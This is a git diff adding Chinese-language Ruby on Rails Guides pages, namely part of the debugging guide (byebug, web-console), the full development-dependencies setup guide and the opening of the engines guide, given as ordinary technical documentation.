如果使用 next,不会深入方法调用,byebug 会进入同一上下文中的下一行。这里,进入的是当前方法的最后一行,因此 byebug 会返回调用方的下一行。

+
+(byebug) next
+[4, 13] in /PathToProject/app/controllers/articles_controller.rb
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     @articles = Article.find_recent
+    8:
+=>  9:     respond_to do |format|
+   10:       format.html # index.html.erb
+   11:       format.json { render json: @articles }
+   12:     end
+   13:   end
+
+(byebug)
+
+
+
+

如果使用 stepbyebug 会进入要执行的下一个 Ruby 指令——这里是 Active Support 的 week 方法。

+
+(byebug) step
+
+[49, 58] in /PathToGems/activesupport-5.1.0/lib/active_support/core_ext/numeric/time.rb
+   49:
+   50:   # Returns a Duration instance matching the number of weeks provided.
+   51:   #
+   52:   #   2.weeks # => 14 days
+   53:   def weeks
+=> 54:     ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]])
+   55:   end
+   56:   alias :week :weeks
+   57:
+   58:   # Returns a Duration instance matching the number of fortnights provided.
+(byebug)
+
+
+
+

逐行执行代码是找出代码缺陷的最佳方式。

还可以使用 step nnext n 一次向前移动 n 步。

3.7 断点

断点设置在何处终止执行代码。调试器会在设定断点的行呼出。

断点可以使用 break 命令(缩写为 b)动态添加。添加断点有三种方式:

+
    +
  • break n:在当前源码文件的第 n 行设定断点。
  • +
  • break file:n [if expression]:在文件 file 的第 n 行设定断点。如果指定了表达式 expression,其返回结果必须为 true 才会启动调试器。
  • +
  • break class(.|#)method [if expression]:在 class 类的 method 方法中设置断点,.# 分别表示类和实例方法。表达式 expression 的作用与 file:n 中的一样。
  • +
+

例如,在前面的情形下:

+
+[4, 13] in /PathToProject/app/controllers/articles_controller.rb
+    4:   # GET /articles
+    5:   # GET /articles.json
+    6:   def index
+    7:     @articles = Article.find_recent
+    8:
+=>  9:     respond_to do |format|
+   10:       format.html # index.html.erb
+   11:       format.json { render json: @articles }
+   12:     end
+   13:   end
+
+(byebug) break 11
+Successfully created breakpoint with id 1
+
+
+
+

使用 info breakpoints 命令可以列出断点。如果指定了数字,只会列出对应的断点,否则列出所有断点。

+
+(byebug) info breakpoints
+Num Enb What
+1   y   at /PathToProject/app/controllers/articles_controller.rb:11
+
+
+
+

如果想删除断点,使用 delete n 命令,删除编号为 n 的断点。如果不指定数字,则删除所有在用的断点。

+
+(byebug) delete 1
+(byebug) info breakpoints
+No breakpoints.
+
+
+
+

断点也可以启用或禁用:

+
    +
  • enable breakpoints [n [m [&#8230;&#8203;]]]:在指定的断点列表或者所有断点处停止应用。这是创建断点后的默认状态。
  • +
  • disable breakpoints [n [m [&#8230;&#8203;]]]:让指定的断点(或全部断点)在应用中不起作用。
  • +
+

3.8 捕获异常

catch exception-name 命令(或 cat exception-name)可捕获 exception-name 类型的异常,源码很有可能没有处理这个异常。

执行 catch 命令可以列出所有可用的捕获点。

3.9 恢复执行

有两种方法可以恢复被调试器终止执行的应用:

+
    +
  • continue [n](或 c):从停止的地方恢复执行程序,设置的断点失效。可选的参数 n 指定一个行数,设定一个一次性断点,应用执行到这一行时,断点会被删除。
  • +
  • finish [n]:一直执行,直到指定的堆栈帧返回为止。如果没有指定帧序号,应用会一直执行,直到当前堆栈帧返回为止。当前堆栈帧就是最近刚使用过的帧,如果之前没有移动帧的位置(执行 updownframe 命令),就是第 0 帧。如果指定了帧序号,则运行到指定的帧返回为止。
  • +
+

3.10 编辑

下面这个方法可以在调试器中使用编辑器打开源码:

+
    +
  • edit [file:n]:使用环境变量 EDITOR 指定的编辑器打开文件 file。还可指定行数 n
  • +
+

3.11 退出

若想退出调试器,使用 quit 命令(缩写为 q)。也可以输入 q!,跳过 Really quit? (y/n) 提示,无条件地退出。

退出后会终止所有线程,因此服务器也会停止,需要重启。

3.12 设置

byebug 有几个选项,可用于调整行为:

+
+(byebug) help set
+
+  set <setting> <value>
+
+  Modifies byebug settings
+
+  Boolean values take "on", "off", "true", "false", "1" or "0". If you
+  don't specify a value, the boolean setting will be enabled. Conversely,
+  you can use "set no<setting>" to disable them.
+
+  You can see these environment settings with the "show" command.
+
+  List of supported settings:
+
+  autosave       -- Automatically save command history record on exit
+  autolist       -- Invoke list command on every stop
+  width          -- Number of characters per line in byebug's output
+  autoirb        -- Invoke IRB on every stop
+  basename       -- <file>:<line> information after every stop uses short paths
+  linetrace      -- Enable line execution tracing
+  autopry        -- Invoke Pry on every stop
+  stack_on_error -- Display stack trace when `eval` raises an exception
+  fullpath       -- Display full file names in backtraces
+  histfile       -- File where cmd history is saved to. Default: ./.byebug_history
+  listsize       -- Set number of source lines to list by default
+  post_mortem    -- Enable/disable post-mortem mode
+  callstyle      -- Set how you want method call parameters to be displayed
+  histsize       -- Maximum number of commands that can be stored in byebug history
+  savefile       -- File where settings are saved to. Default: ~/.byebug_save
+
+
+
+

可以把这些设置保存在家目录中的 .byebugrc 文件里。启动时,调试器会读取这些全局设置。例如:

+
+set callstyle short
+set listsize 25
+
+
+
+

4 使用 web-console gem 调试

Web Console 的作用与 byebug 有点类似,不过它在浏览器中运行。在任何页面中都可以在视图或控制器的上下文中请求控制台。控制台在 HTML 内容下面渲染。

4.1 控制台

在任何控制器动作或视图中,都可以调用 console 方法呼出控制台。

例如,在一个控制器中:

+
+class PostsController < ApplicationController
+  def new
+    console
+    @post = Post.new
+  end
+end
+
+
+
+

或者在一个视图中:

+
+<% console %>
+
+<h2>New Post</h2>
+
+
+
+

控制台在视图中渲染。调用 console 的位置不用担心,它不会在调用的位置显示,而是显示在 HTML 内容下方。

控制台可以执行纯 Ruby 代码,你可以定义并实例化类、创建新模型或审查变量。

一个请求只能渲染一个控制台,否则 web-console 会在第二个 console 调用处抛出异常。

4.2 审查变量

可以调用 instance_variables 列出当前上下文中的全部实例变量。如果想列出全部局部变量,调用 local_variables

4.3 设置

+
    +
  • config.web_console.whitelisted_ips:授权的 IPv4 或 IPv6 地址和网络列表(默认值:127.0.0.1/8, ::1)。
  • +
  • config.web_console.whiny_requests:禁止渲染控制台时记录一条日志(默认值:true)。
  • +
+

web-console 会在远程服务器中执行 Ruby 代码,因此别在生产环境中使用。

5 调试内存泄露

Ruby 应用(Rails 或其他)可能会导致内存泄露,泄露可能由 Ruby 代码引起,也可能由 C 代码引起。

本节介绍如何使用 Valgrind 等工具查找并修正内存泄露问题。

5.1 Valgrind

Valgrind 应用能检测 C 语言层的内存泄露和条件竞争。

Valgrind 提供了很多工具,能自动检测很多内存管理和线程问题,也能详细分析程序。例如,如果 C 扩展调用了 malloc() 函数,但没调用 free() 函数,这部分内存就会一直被占用,直到应用终止执行。

关于如何安装以及如何在 Ruby 中使用 Valgrind,请阅读 Evan Weaver 写的 Valgrind and Ruby 一文。

6 用于调试的插件

有很多 Rails 插件可以帮助你查找问题和调试应用。下面列出一些有用的调试插件:

+
    +
  • Footnotes:在应用的每个页面底部显示请求信息,并链接到源码(可通过 TextMate 打开);
  • +
  • Query Trace:在日志中写入请求源信息;
  • +
  • Query Reviewer:这个 Rails 插件在开发环境中会在每个 SELECT 查询前执行 EXPLAIN 查询,并在每个页面中添加一个 div 元素,显示分析到的查询问题;
  • +
  • Exception Notifier:提供了一个邮件程序和一组默认的邮件模板,Rails 应用出现问题后发送邮件通知;
  • +
  • Better Errors:使用全新的页面替换 Rails 默认的错误页面,显示更多的上下文信息,例如源码和变量的值;
  • +
  • RailsPanel:一个 Chrome 扩展,在浏览器的开发者工具中显示 development.log 文件的内容,显示的内容包括:数据库查询时间、渲染时间、总时间、参数列表、渲染的视图,等等。
  • +
  • Pry:一个 IRB 替代品,可作为开发者的运行时控制台。
  • +
+

7 参考资源

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/development_dependencies_install.html b/development_dependencies_install.html new file mode 100644 index 0000000..57cce8e --- /dev/null +++ b/development_dependencies_install.html @@ -0,0 +1,506 @@ + + + + + + + +安装开发依赖 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

安装开发依赖

本文说明如何搭建 Ruby on Rails 核心开发环境。

读完本文后,您将学到:

+
    +
  • 如何设置你的设备供 Rails 开发;
  • +
  • 如何运行 Rails 测试组件中特定的单元测试组;
  • +
  • Rails 测试组件中的 Active Record 部分是如何运作的。
  • +
+ + + + +
+
+ +
+
+
+

1 简单方式

搭建开发环境最简单、也是推荐的方式是使用 Rails 开发虚拟机

2 笨拙方式

如果你不便使用 Rails 开发虚拟机,参见下述说明。这些步骤说明如何自己动手搭建开发环境,供 Ruby on Rails 核心开发使用。

2.1 安装 Git

Ruby on Rails 使用 Git 做源码控制。Git 的安装说明参见官网。网上有很多学习 Git 的资源:

+
    +
  • Try Git 是个交互式课程,教你基本用法。
  • +
  • 官方文档十分全面,也有一些 Git 基本用法的视频。
  • +
  • Everyday Git 教你一些技能,足够日常使用。
  • +
  • GitHub 帮助页面中有很多 Git 资源的链接。
  • +
  • Pro Git 是一本讲解 Git 的书,基于知识共享许可证发布。
  • +
+

2.2 克隆 Ruby on Rails 仓库

进入你想保存 Ruby on Rails 源码的文件夹,然后执行(会创建 rails 子目录):

+
+$ git clone git://github.com/rails/rails.git
+$ cd rails
+
+
+
+

2.3 准备工作和运行测试

提交的代码必须通过测试组件。不管你是编写新的补丁,还是评估别人的代码,都要运行测试。

首先,安装 sqlite3 gem 所需的 SQLite3 及其开发文件 。macOS 用户这么做:

+
+$ brew install sqlite3
+
+
+
+

Ubuntu 用户这么做:

+
+$ sudo apt-get install sqlite3 libsqlite3-dev
+
+
+
+

Fedora 或 CentOS 用户这么做:

+
+$ sudo yum install sqlite3 sqlite3-devel
+
+
+
+

Arch Linux 用户要这么做:

+
+$ sudo pacman -S sqlite
+
+
+
+

FreeBSD 用户这么做:

+
+# pkg install sqlite3
+
+
+
+

或者编译 databases/sqlite3 port。

然后安装最新版 Bundler

+
+$ gem install bundler
+$ gem update bundler
+
+
+
+

再执行:

+
+$ bundle install --without db
+
+
+
+

这个命令会安装除了 MySQL 和 PostgreSQL 的 Ruby 驱动之外的所有依赖。稍后再安装那两个驱动。

如果想运行使用 memcached 的测试,要安装并运行 memcached。

在 macOS 中可以使用 Homebrew 安装 memcached:

+
+$ brew install memcached
+
+
+
+

在 Ubuntu 中可以使用 apt-get 安装 memcached:

+
+$ sudo apt-get install memcached
+
+
+
+

在 Fedora 或 CentOS 中这么做:

+
+$ sudo yum install memcached
+
+
+
+

在 Arch Linux 中这么做:

+
+$ sudo pacman -S memcached
+
+
+
+

在 FreeBSD 中这么做:

+
+# pkg install memcached
+
+
+
+

或者编译 databases/memcached port。

安装好依赖之后,可以执行下述命令运行测试组件:

+
+$ bundle exec rake test
+
+
+
+

还可以运行某个组件(如 Action Pack)的测试,方法是进入组件所在的目录,然后执行相同的命令:

+
+$ cd actionpack
+$ bundle exec rake test
+
+
+
+

如果想运行某个目录中的测试,使用 TEST_DIR 环境变量指定。例如,下述命令只运行 railties/test/generators 目录中的测试:

+
+$ cd railties
+$ TEST_DIR=generators bundle exec rake test
+
+
+
+

可以像下面这样运行某个文件中的测试:

+
+$ cd actionpack
+$ bundle exec ruby -Itest test/template/form_helper_test.rb
+
+
+
+

还可以运行某个文件中的某个测试:

+
+$ cd actionpack
+$ bundle exec ruby -Itest path/to/test.rb -n test_name
+
+
+
+

2.4 为 Railties 做准备

有些 Railties 测试依赖 JavaScript 运行时环境,因此要安装 Node.js

2.5 为 Active Record 做准备

Active Record 的测试组件运行三次:一次针对 SQLite3,一次针对 MySQL,还有一次针对 PostgreSQL。下面说明如何为这三种数据库搭建环境。

编写 Active Record 代码时,必须确保测试至少能在 MySQL、PostgreSQL 和 SQLite3 中通过。如果只使用 MySQL 测试,虽然测试能通过,但是不同适配器之间的差异没有考虑到。

2.5.1 数据库配置

Active Record 测试组件需要一个配置文件:activerecord/test/config.ymlactiverecord/test/config.example.yml 文件中有些示例。你可以复制里面的内容,然后根据你的环境修改。

2.5.2 MySQL 和 PostgreSQL

为了运行针对 MySQL 和 PostgreSQL 的测试组件,要安装相应的 gem。首先安装服务器、客户端库和开发文件。

在 macOS 中可以这么做:

+
+$ brew install mysql
+$ brew install postgresql
+
+
+
+

然后按照 Homebrew 给出的说明做。

在 Ubuntu 中只需这么做:

+
+$ sudo apt-get install mysql-server libmysqlclient-dev
+$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
+
+
+
+

在 Fedora 或 CentOS 中只需这么做:

+
+$ sudo yum install mysql-server mysql-devel
+$ sudo yum install postgresql-server postgresql-devel
+
+
+
+

MySQL 不再支持 Arch Linux,因此你要使用 MariaDB(参见这个声明):

+
+$ sudo pacman -S mariadb libmariadbclient mariadb-clients
+$ sudo pacman -S postgresql postgresql-libs
+
+
+
+

FreeBSD 用户要这么做:

+
+# pkg install mysql56-client mysql56-server
+# pkg install postgresql94-client postgresql94-server
+
+
+
+

或者通过 port 安装(在 databases 文件夹中)。在安装 MySQL 的过程中如何遇到问题,请查阅 MySQL 文档

安装好之后,执行下述命令:

+
+$ rm .bundle/config
+$ bundle install
+
+
+
+

首先,我们要删除 .bundle/config 文件,因为 Bundler 记得那个文件中的配置。我们前面配置了,不安装“db”分组(此外也可以修改那个文件)。

为了使用 MySQL 运行测试组件,我们要创建一个名为 rails 的用户,并且赋予它操作测试数据库的权限:

+
+$ mysql -uroot -p
+
+mysql> CREATE USER 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+       to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.*
+       to 'rails'@'localhost';
+
+
+
+

然后创建测试数据库:

+
+$ cd activerecord
+$ bundle exec rake db:mysql:build
+
+
+
+

PostgreSQL 的身份验证方式有所不同。为了使用开发账户搭建开发环境,在 Linux 或 BSD 中要这么做:

+
+$ sudo -u postgres createuser --superuser $USER
+
+
+
+

在 macOS 中这么做:

+
+$ createuser --superuser $USER
+
+
+
+

然后,执行下述命令创建测试数据库:

+
+$ cd activerecord
+$ bundle exec rake db:postgresql:build
+
+
+
+

可以执行下述命令创建 PostgreSQL 和 MySQL 的测试数据库:

+
+$ cd activerecord
+$ bundle exec rake db:create
+
+
+
+

可以使用下述命令清理数据库:

+
+$ cd activerecord
+$ bundle exec rake db:drop
+
+
+
+

使用 rake 任务创建测试数据库能保障数据库使用正确的字符集和排序规则。

在 PostgreSQL 9.1.x 及早期版本中激活 HStore 扩展会看到这个提醒(或本地化的提醒):“WARNING: => is deprecated as an operator”。

如果使用其他数据库,默认的连接信息参见 activerecord/test/config.ymlactiverecord/test/config.example.yml 文件。如果有必要,可以在你的设备中编辑 activerecord/test/config.yml 文件,提供不同的凭据。不过显然,不应该把这种改动推送回 Rails 仓库。

2.6 为 Action Cable 做准备

Action Cable 默认使用 Redis 作为订阅适配器(详情),因此为了运行 Action Cable 的测试,要安装并运行 Redis。

2.6.1 从源码安装 Redis

Redis 的文档不建议通过包管理器安装,因为那里的包往往是过时的。Redis 的文档详细说明了如何从源码安装,以及如何运行 Redis 服务器。

2.6.2 使用包管理器安装

在 macOS 中可以执行下述命令:

+
+$ brew install redis
+
+
+
+

然后按照 Homebrew 给出的说明做。

在 Ubuntu 中只需运行:

+
+$ sudo apt-get install redis-server
+
+
+
+

在 Fedora 或 CentOS(要启用 EPEL)中运行:

+
+$ sudo yum install redis
+
+
+
+

如果使用 Arch Linux,运行:

+
+$ sudo pacman -S redis
+$ sudo systemctl start redis
+
+
+
+

FreeBSD 用户要运行下述命令:

+
+# portmaster databases/redis
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/engines.html b/engines.html new file mode 100644 index 0000000..a719683 --- /dev/null +++ b/engines.html @@ -0,0 +1,1225 @@ + + + + + + + +引擎入门 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

引擎入门

本文介绍引擎及其用法,即如何通过引擎这个干净、易用的接口,为宿主应用提供附加功能。

读完本文后,您将学到:

+
    +
  • 引擎由什么组成;
  • +
  • 如何生成引擎;
  • +
  • 如何为引擎创建特性;
  • +
  • 如何把引擎挂载到应用中;
  • +
  • 如何在应用中覆盖引擎的功能;
  • +
  • 通过加载和配置钩子避免加载 Rails 组件。
  • +
+ + + + +
+
+ +
+
+
+

本文原文尚未完工!

1 引擎是什么

引擎可以看作为宿主应用提供附加功能的微型应用。实际上,Rails 应用只不过是“加强版”的引擎,Rails::Application 类从 Rails::Engine 类继承了大量行为。

因此,引擎和应用基本上可以看作同一个事物,通过本文的介绍,我们会看到两者之间只有细微差异。引擎和应用还具有相同的结构。

引擎还和插件密切相关。两者具有相同的 lib 目录结构,并且都使用 rails plugin new 生成器来生成。区别在于,引擎被 Rails 视为“完整的插件”(通过传递给生成器的 --full 选项可以看出这一点)。在这里我们实际使用的是 --mountable 选项,这个选项包含了 --full 选项的所有特性。本文把这类“完整的插件”简称为“引擎”。也就是说,引擎可以是插件,插件也可以是引擎。

本文将创建名为“blorgh”的引擎,用于为宿主应用提供博客功能,即新建文章和评论的功能。在本文的开头部分,我们将看到引擎的内部工作原理,在之后的部分中,我们将看到如何把引擎挂载到应用中。

我们还可以把引擎和宿主应用隔离开来。也就是说,应用和引擎可以使用同名的 articles_path 路由辅助方法而不会发生冲突。除此之外,应用和引擎的控制器、模型和表名也具有不同的命名空间。后文将介绍这些特性是如何实现的。

一定要记住,在任何时候,应用的优先级都应该比引擎高。应用对其环境中发生的事情拥有最终的决定权。引擎用于增强应用的功能,而不是彻底改变应用的功能。

引擎的例子有 Devise(提供身份验证)、Thredded(提供论坛功能)、Spree(提供电子商务平台) 和 RefineryCMS(CMS 引擎)。

最后,如果没有 James Adam、Piotr Sarnacki、Rails 核心开发团队和其他许多人的努力,引擎就不可能实现。如果遇见他们,请不要忘记说声谢谢!

2 生成引擎

通过运行插件生成器并传递必要的选项就可以生成引擎。在 Blorgh 引擎的例子中,我们需要创建“可挂载”的引擎,为此可以在终端中运行下面的命令:

+
+$ rails plugin new blorgh --mountable
+
+
+
+

通过下面的命令可以查看插件生成器选项的完整列表:

+
+$ rails plugin --help
+
+
+
+

通过 --mountable 选项,生成器会创建“可挂载”和具有独立命名空间的引擎。此选项和 --full 选项会为引擎生成相同的程序骨架。通过 --full 选项,生成器会在创建引擎的同时生成下面的程序骨架:

+
    +
  • app 目录树
  • +
  • +

    config/routes.rb 文件:

    +
    +
    +Rails.application.routes.draw do
    +end
    +
    +
    +
    +
  • +
  • +

    lib/blorgh/engine.rb 文件,相当于 Rails 应用的 config/application.rb 配置文件:

    +
    +
    +module Blorgh
    +  class Engine < ::Rails::Engine
    +  end
    +end
    +
    +
    +
    +
  • +
+

--mountable 选项在 --full 选项的基础上增加了如下特性:

+
    +
  • 静态资源文件的清单文件(application.jsapplication.css
  • +
  • 具有独立命名空间的 ApplicationController +
  • +
  • 具有独立命名空间的 ApplicationHelper +
  • +
  • 引擎的布局视图模板
  • +
  • +

    config/routes.rb 文件中为引擎设置独立的命名空间:

    +
    +
    +Blorgh::Engine.routes.draw do
    +end
    +
    +
    +
    +
  • +
  • +

    lib/blorgh/engine.rb 文件中为引擎设置独立的命名空间:

    +
    +
    +module Blorgh
    +  class Engine < ::Rails::Engine
    +    isolate_namespace Blorgh
    +  end
    +end
    +
    +
    +
    +
  • +
+

此外,通过 --mountable 选项,生成器会在位于 test/dummy 的 dummy 测试应用中挂载 blorgh 引擎,具体做法是把下面这行代码添加到 dummy 应用的路由文件 test/dummy/config/routes.rb 中:

+
+mount Blorgh::Engine => "/blorgh"
+
+
+
+

2.1 深入引擎内部

2.1.1 关键文件

在新建引擎的文件夹中有一个 blorgh.gemspec 文件。通过在 Rails 应用的 Gemfile 文件中添加下面的代码,可以把引擎挂载到应用中:

+
+gem 'blorgh', path: 'engines/blorgh'
+
+
+
+

和往常一样,别忘了运行 bundle install 命令。通过在 Gemfile 中添加 blorgh gem,Bundler 将加载此 gem,解析其中的 blorgh.gemspec 文件,并加载 lib/blorgh.rb 文件。lib/blorgh.rb 文件会加载 lib/blorgh/engine.rb 文件,其中定义了 Blorgh 基础模块。

+
+require "blorgh/engine"
+
+module Blorgh
+end
+
+
+
+

有些引擎会通过 lib/blorgh/engine.rb 文件提供全局配置选项。相对而言这是个不错的主意,因此我们可以优先选择在定义引擎模块的 lib/blorgh/engine.rb 文件中定义全局配置选项,也就是在引擎模块中定义相关方法。

lib/blorgh/engine.rb 文件中定义引擎的基类:

+
+module Blorgh
+  class Engine < ::Rails::Engine
+    isolate_namespace Blorgh
+  end
+end
+
+
+
+

通过继承 Rails::Engine 类,blorgh gem 告知 Rails 在指定路径上有一个引擎,Rails 会把该引擎正确挂载到应用中,并执行相关任务,例如把 app 文件夹添加到模型、邮件程序、控制器和视图的加载路径中。

这里的 isolate_namespace 方法尤其需要注意。通过调用此方法,可以把引擎的控制器、模型、路由和其他组件隔离到各自的命名空间中,以便和应用中的类似组件隔离开来。要是没有这个方法,引擎的组件就可能“泄漏”到应用中,从而引起意外的混乱,引擎的重要组件也可能被应用中的同名组件覆盖。这类冲突的一个例子是辅助方法。在未调用 isolate_namespace 方法的情况下,引擎的辅助方法会被包含到应用的控制器中。

强烈建议在 Engine 类的定义中调用 isolate_namespace 方法。在未调用此方法的情况下,引擎中生成的类有可能和应用发生冲突。

命名空间隔离的意思是,通过 bin/rails g model 生成的模型,例如 bin/rails g model article,不会被命名为 Article,而会被命名为带有命名空间的 Blorgh::Article。此外,模型的表名同样带有命名空间,也就是说表名不是 articles,而是 blorgh_articles。和模型的命名规则类似,控制器不会被命名为 ArticlesController,而会被命名为 Blorgh::ArticlesController,控制器对应的视图不是 app/views/articles,而是 app/views/blorgh/articles。邮件程序的情况类似。

最后,路由也会被隔离在引擎中。这是命名空间最重要的内容之一,稍后将在 路由介绍。

2.1.2 app 文件夹

和应用类似,引擎的 app 文件夹中包含了标准的 assetscontrollershelpersmailersmodelsviews 文件夹。其中 helpersmailersmodels 是空文件夹,因此本节不作介绍。后文介绍引擎编写时,会详细介绍 models 文件夹。

同样,和应用类似,引擎的 app/assets 文件夹中包含了 imagesjavascriptsstylesheets 文件夹。不过两者有一个区别,引擎的这三个文件夹中还包含了和引擎同名的文件夹。因为引擎位于命名空间中,所以引擎的静态资源文件也位于命名空间中。

app/controllers 文件夹中包含 blorgh 文件夹,其中包含 application_controller.rb 文件。此文件中包含了引擎控制器的通用功能。其他控制器文件也应该放在 blorgh 文件夹中。通过把引擎的控制器文件放在 blorgh 文件夹(作为控制器的命名空间)中,就可以避免和其他引擎甚至应用中的同名控制器发生冲突。

引擎的 ApplicationController 类采用了和 Rails 应用相同的命名规则,这样便于把应用转换为引擎。

鉴于 Ruby 进行常量查找的方式,我们可能会遇到引擎的控制器继承自应用的 ApplicationController,而不是继承自引擎的 ApplicationController 的情况。此时 Ruby 能够解析 ApplicationController,因此不会触发自动加载机制。关于这个问题的更多介绍,请参阅 常量未缺失。避免出现这种情况的最好办法是使用 require_dependency 方法,以确保加载的是引擎的 ApplicationController。例如:

+
+# app/controllers/blorgh/articles_controller.rb:
+require_dependency "blorgh/application_controller"
+
+module Blorgh
+  class ArticlesController < ApplicationController
+    ...
+  end
+end
+
+
+
+

不要使用 require 方法,否则会破坏开发环境中类的自动重新加载——使用 require_dependency 方法才能确保以正确的方式加载和卸载类。

最后,app/views 文件夹中包含 layouts 文件夹,其中包含 blorgh/application.html.erb 文件。此文件用于为引擎指定布局。如果此引擎要作为独立引擎使用,那么应该在此文件而不是 app/views/layouts/application.html.erb 文件中自定义引擎布局。

如果不想强制用户使用引擎布局,那么可以删除此文件,并在引擎控制器中引用不同的布局。

2.1.3 bin 文件夹

引擎的 bin 文件夹中包含 bin/rails 文件。和应用类似,此文件提供了对 rails 子命令和生成器的支持。也就是说,我们可以像下面这样通过命令生成引擎的控制器和模型:

+
+$ bin/rails g model
+
+
+
+

记住,在 Engine 的子类中调用 isolate_namespace 方法后,通过这些命令生成的引擎控制器和模型都将位于命名空间中。

2.1.4 test 文件夹

引擎的 test 文件夹用于储存引擎测试文件。在 test/dummy 文件夹中有一个内嵌于引擎中的精简版 Rails 测试应用,可用于测试引擎。此测试应用会挂载 test/dummy/config/routes.rb 文件中的引擎:

+
+Rails.application.routes.draw do
+  mount Blorgh::Engine => "/blorgh"
+end
+
+
+
+

上述代码会挂载 /blorgh 文件夹中的引擎,在应用中只能通过此路径访问该引擎。

test/integration 文件夹用于储存引擎的集成测试文件。在 test 文件夹中还可以创建其他文件夹。例如,我们可以为引擎的模型测试创建 test/models 文件夹。

3 为引擎添加功能

本文创建的“blorgh”示例引擎,和Rails 入门中的 Blog 应用类似,具有添加文章和评论的功能。

3.1 生成文章资源

创建博客引擎的第一步是生成 Article 模型和相关控制器。为此,我们可以使用 Rails 的脚手架生成器:

+
+$ bin/rails generate scaffold article title:string text:text
+
+
+
+

上述命令输出的提示信息为:

+
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_articles.rb
+create    app/models/blorgh/article.rb
+invoke    test_unit
+create      test/models/blorgh/article_test.rb
+create      test/fixtures/blorgh/articles.yml
+invoke  resource_route
+ route    resources :articles
+invoke  scaffold_controller
+create    app/controllers/blorgh/articles_controller.rb
+invoke    erb
+create      app/views/blorgh/articles
+create      app/views/blorgh/articles/index.html.erb
+create      app/views/blorgh/articles/edit.html.erb
+create      app/views/blorgh/articles/show.html.erb
+create      app/views/blorgh/articles/new.html.erb
+create      app/views/blorgh/articles/_form.html.erb
+invoke    test_unit
+create      test/controllers/blorgh/articles_controller_test.rb
+invoke    helper
+create      app/helpers/blorgh/articles_helper.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/articles.js
+invoke    css
+create      app/assets/stylesheets/blorgh/articles.css
+invoke  css
+create    app/assets/stylesheets/scaffold.css
+
+
+
+

脚手架生成器完成的第一项工作是调用 active_record 生成器,这个生成器会为文章资源生成迁移和模型。但请注意,这里生成的迁移是 create_blorgh_articles 而不是通常的 create_articles,这是因为我们在 Blorgh::Engine 类的定义中调用了 isolate_namespace 方法。同样,这里生成的模型也带有命名空间,模型文件储存在 app/models/blorgh/article.rb 文件夹而不是 app/models/article.rb 文件夹中。

接下来,脚手架生成器会为此模型调用 test_unit 生成器,这个生成器会生成模型测试 test/models/blorgh/article_test.rb(而不是 test/models/article_test.rb)和测试固件 test/fixtures/blorgh/articles.yml(而不是 test/fixtures/articles.yml)。

之后,脚手架生成器会在引擎的 config/routes.rb 文件中为文章资源添加路由,也即 resources :articles,修改后的 config/routes.rb 文件的内容如下:

+
+Blorgh::Engine.routes.draw do
+  resources :articles
+end
+
+
+
+

注意,这里的路由是通过 Blorgh::Engine 对象而非 YourApp::Application 类定义的。正如 test 文件夹介绍的那样,这样做的目的是把引擎路由限制在引擎中,这样就可以根据需要把引擎路由挂载到不同位置,同时也把引擎路由和应用中的其他路由隔离开来。关于这个问题的更多介绍,请参阅 路由

接下来,脚手架生成器会调用 scaffold_controller 生成器,以生成 Blorgh::ArticlesController(即 app/controllers/blorgh/articles_controller.rb 控制器文件)以及对应的视图(位于 app/views/blorgh/articles 文件夹中)、测试(即 test/controllers/blorgh/articles_controller_test.rb 测试文件)和辅助方法(即 app/helpers/blorgh/articles_helper.rb 文件)。

脚手架生成器生成的上述所有组件都带有命名空间。其中控制器类在 Blorgh 模块中定义:

+
+module Blorgh
+  class ArticlesController < ApplicationController
+    ...
+  end
+end
+
+
+
+

这里的 ArticlesController 类继承自 Blorgh::ApplicationController 类,而不是应用的 ApplicationController 类。

app/helpers/blorgh/articles_helper.rb 文件中定义的辅助方法也带有命名空间:

+
+module Blorgh
+  module ArticlesHelper
+    ...
+  end
+end
+
+
+
+

这样,即便其他引擎或应用中定义了同名的文章资源,也不会发生冲突。

最后,脚手架生成器会生成两个静态资源文件 app/assets/javascripts/blorgh/articles.jsapp/assets/stylesheets/blorgh/articles.css,其用法将在后文介绍。

我们可以在引擎的根目录中通过 bin/rails db:migrate 命令运行前文中生成的迁移,然后在 test/dummy 文件夹中运行 rails server 命令以查看迄今为止的工作成果。打开 http://localhost:3000/blorgh/articles 页面,可以看到刚刚生成的默认脚手架。随意点击页面中的链接吧!这是我们为引擎添加的第一项功能。

我们也可以在 Rails 控制台中对引擎的功能进行一些测试,其效果和 Rails 应用类似。注意,因为引擎的 Article 模型带有命名空间,所以调用时应使用 Blorgh::Article

+
